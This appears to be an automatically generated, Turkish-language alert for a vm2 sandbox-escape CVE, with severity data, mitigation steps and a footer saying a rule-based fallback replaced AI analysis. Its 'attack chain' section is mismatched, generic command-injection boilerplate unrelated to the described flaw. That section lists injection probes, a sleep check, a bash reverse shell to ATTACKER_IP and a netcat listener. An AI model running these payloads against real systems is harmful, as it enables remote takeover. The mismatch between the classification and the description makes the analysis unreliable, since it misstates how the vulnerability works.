CWE-693
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-92934
CVSS 9/10 · KRİTİK · 17.09.2026
CWE: CWE-693
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information …
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir; hizmet tamamen devre dışı bırakılabilir; diğer sistemlere pivot mümkün.
🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ Yama öncesi: servis erişimini VPN arkasına al veya IP whitelist uygula.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
🚨 ACİL (48 saat) — Kritik seviye.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]